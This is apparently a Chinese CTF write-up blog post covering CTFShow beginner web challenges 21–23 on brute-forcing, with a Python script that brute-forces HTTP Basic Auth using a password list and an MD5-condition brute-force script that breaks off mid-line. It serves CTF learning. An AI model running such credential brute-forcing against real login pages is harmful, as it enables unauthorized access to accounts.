CTFShow-web入门WriteUp(长期更新)

爆破

web21

下载zip文件是后台密码字典,用户名猜测admin,先进行抓包
抓包
没有发现我们传输的参数,但是HTTP请求头里面有这样的参数
在这里插入图片描述
解码之后发现这是我们传输的参数,所以开始爆破
因为编码前几位是admin:的base64,所以我们只需要把密码所在段设置为变量即可
在这里插入图片描述
然后对payload进行base64加密,进行爆破
在这里插入图片描述
在这里插入图片描述
这里有点需要注意,我们要关闭Payload Encoding,因为我们base64加密结果可能会存在=或者==,payload encoding会将=进行编码
在这里插入图片描述
或者写python脚本

# -*- coding: utf-8 -*-

import time
import requests
import base64

url = 'http://7bfc1cb5-875f-43c6-94aa-f71f94a7b6d2.challenge.ctf.show:8080/'

password = []

with open("1.txt", "r") as f:  
	while True:
	    data = f.readline() 
	    if data:
	    	password.append(data)
	    else:
	      break
	    


for p in password:
	strs = 'admin:'+ p[:-1]
	header={
   
		'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
	}
	rep =requests.get(url,headers=header)
	time.sleep(0.2)
	if rep.status_code ==200:
		print(rep.text)
		break

web22

提示进行域名爆破,用dirsearch爆破一下,flag.ctf.com
访问,网站GG了。。。。

web23

error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
   
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
   
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
   
            echo $flag;
        }
    }
}

关键在于对token的验证
1.对token进行md5加密之后进行截取
2.token的第12位、15位和17位必须相同
3.满足算式($_2 + $_15 + $_17) / $_2 === $_32
我们需要构造满足这些条件的md5,只能写脚本爆破

# -*- coding: utf-8 -*-

import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
    for b in dic:
        t = 
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值